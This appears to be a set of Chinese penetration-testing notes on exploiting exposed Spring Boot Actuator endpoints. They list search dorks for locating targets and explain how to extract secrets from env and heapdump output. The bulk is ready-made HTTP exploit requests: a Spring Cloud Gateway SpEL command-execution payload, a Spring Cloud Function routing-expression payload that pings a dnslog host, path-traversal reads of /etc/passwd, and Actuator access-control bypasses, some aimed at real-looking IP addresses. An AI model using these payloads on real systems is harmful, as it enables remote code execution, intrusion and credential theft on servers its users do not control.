参考链接:
https://blog.zgsec.cn/archives/129.html
https://forum.butian.net/share/1935
https://mp.weixin.qq.com/s/S1BLrSmjME1duMhDD1uKKA
1
2
|
Fofa:icon_hash="116323821" 通过图标寻找不太准确
Fofa:body="Whitelabel Error Page"
|
1.Actuator 端点能干什么
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
常见端点及其作用
路径 是否默认启用 功能描述
/auditevents 是 显示当前应用程序的审计事件信息
/beans 是 显示一个应用中所有Spring Beans的完整列表
/conditions 是 显示配置类和自动配置类的状态及它们被应用或未被应用的原因
/configprops 是 显示一个所有@ConfigurationProperties的集合列表
/env 是 显示来自Spring的 ConfigurableEnvironment的属性
/flyway 是 显示数据库迁移路径(如果存在)
/health 是 显示应用的健康信息(当使用一个未认证连接访问时显示一个简单的’status’,使用认证连接访问则显示全部信息详情)
/info 是 显示任意的应用信息
/liquibase 是 展示任何Liquibase数据库迁移路径(如果存在)
/metrics 是 展示当前应用的metrics信息
/mappings 是 显示一个所有@RequestMapping路径的集合列表
/scheduledtasks 是 显示应用程序中的计划任务
/sessions 否 允许从Spring会话支持的会话存储中检索和删除用户会话
/shutdown 否 允许应用以优雅的方式关闭(默认情况下不启用)
/threaddump 是 执行一个线程dump
/heapdump 是 返回一个GZip压缩的hprof堆dump文件
/jolokia 是 通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用)
/logfile 是 返回日志文件内容(如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息
/prometheus 是 以可以被Prometheus服务器抓取的格式显示metrics信息
|
低风险类
| /actuator/health |
应用健康状态(是否存活) |
低,但可判断服务是否在线 |
| /actuator/info |
自定义信息(如 Git 版本、构建时间) |
可能泄露版本号、分支名 |

中高风险(敏感信息泄露)
| /actuator/env |
所有环境变量和配置属性(含数据库密码、密钥、Redis 地址等) |
⚠️ 极高!常含 spring.datasource.password 、aliyun.accesskey 等 |
/actuator/configprops |
所有 @ConfigurationProperties 配置 |
可能泄露中间件配置 |
/actuator/beans |
所有 Spring Bean 及其依赖关系 |
可分析应用结构、识别漏洞组件 |
/actuator/mappings |
所有 URL 路由映射(Controller 接口) |
暴露未公开 API,如 /admin/deleteUser |
/actuator/threaddump |
线程堆栈信息 |
可分析死锁、业务逻辑 |
/actuator/heapdump |
生成 JVM 堆内存快照(.hprof 文件) |
可离线分析内存中的密码、密钥、用户数据 |
/actuator/loggers |
查看/修改日志级别 |
可开启 debug 日志泄露更多信息 |
/actuator/mappings—泄露后端接口信息

/actuator/env—所有环境变量和配置属性

大部分情况下是不可读的,如何读取呢?
项目地址:https://github.com/wh1t3zer/SpringBootVul-GUI
参考链接:https://mp.weixin.qq.com/s/LWJniWUIOvbWLQv9SmRv5A
https://mp.weixin.qq.com/s/JwAG7j6-YFKO1GYtWNp7sQ

/actuator/loggers—查看日志级别


1
2
3
4
5
|
# 甚至能未授权修改为 日志级别DEBUG
POST /actuator/loggers/com.lark.oapi.service.mail
Content-Type: application/json
{"configuredLevel": "DEBUG"}
|
/actuator/heapdump—实战中最常用
https://github.com/wyzxxz/heapdump_tool
https://github.com/whwlsfb/JDumpSpider

云存储AK/SK泄露
数据库凭证泄露最常见
1
2
3
4
|
RedisStandaloneConfiguration: hostName = localhost, password = , port = 6379
redis://localhost:6379
这个表明redis未配置密码,存在redis未授权漏洞,可实现RCE
|
Shiro Key泄露组合拳实现RCE
系统架构与路径信息泄露
/actuator/metrics

1
2
3
4
5
6
7
8
9
|
GET /actuator/metrics/http.server.requests HTTP/1.1
Host: 152:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
|

/actuator/configprops—泄露所有@ConfigurationProperties配置

/swagger未授权访问—泄露所有后端接口和参数

3. 高风险(可操作/执行类)
⚠️ 这些端点在旧版本(Spring Boot < 2.0)或特殊配置下可能被滥用
| 端点 |
作用 |
风险 |
/actuator/shutdown |
关闭应用(需显式启用) |
DoS 攻击 |
/actuator/restart |
重启应用(需 Spring Cloud) |
服务中断 |
/actuator/refresh |
刷新配置(配合 Spring Cloud Config) |
若结合 env 修改配置,可能触发 RCE(见下文) |
2.Spring Boot常见漏洞
https://github.com/AabyssZG/SpringBoot-Scan
https://mp.weixin.qq.com/s/pRwLkFSlVcev7srsMPRuqQ
https://mp.weixin.qq.com/s/ArQRB02DvMIVe-dn6ZiTYw
2.1.Spring Cloud Gateway RCE漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
POST /actuator/gateway/routes/oWNcO HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 427
{
"id": "oWNcO",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
|
1
2
3
4
|
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.131:8080
Connection: close
Content-Type: application/x-www-form-urlencoded
|
1
2
3
4
5
6
7
8
9
|
GET /actuator/gateway/routes/oWNcO HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 427
|
1
2
3
4
5
6
7
8
|
DELETE /actuator/gateway/routes/oWNcO HTTP/1.1
Host: 152.136.119.199:8082
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
|
2.2.Spring框架目录遍历漏洞CVE-2024-38816
1
|
/static/link/%2e%2e/etc/passwd
|
2.3.任意文件读取
1
2
3
4
5
6
7
|
/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../、
/log/view?filename=/etc/passwd&base=../../../../../../../../../../
|
2.4.Spring Cloud Function functionRouter SPEL代码执行漏洞
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /functionRouter HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping ony8ez.dnslog.cn")
|

3.SpringBoot常见绕过
1
2
3
4
5
6
7
8
9
|
;.css
;.js
http://xxx:8082/actuator/env;.js
http://xxx/actuator/..;/actuator/
https://xxxxxx.com.cn:8088/prod-api/actuat%6fr/
https://xxxxxx.com.cn:8088/prod-api/actuat%6fr/env ------ 成功访问
https://xxxxxx.com.cn:8088/prod-api/actuator/env ------ 403
|
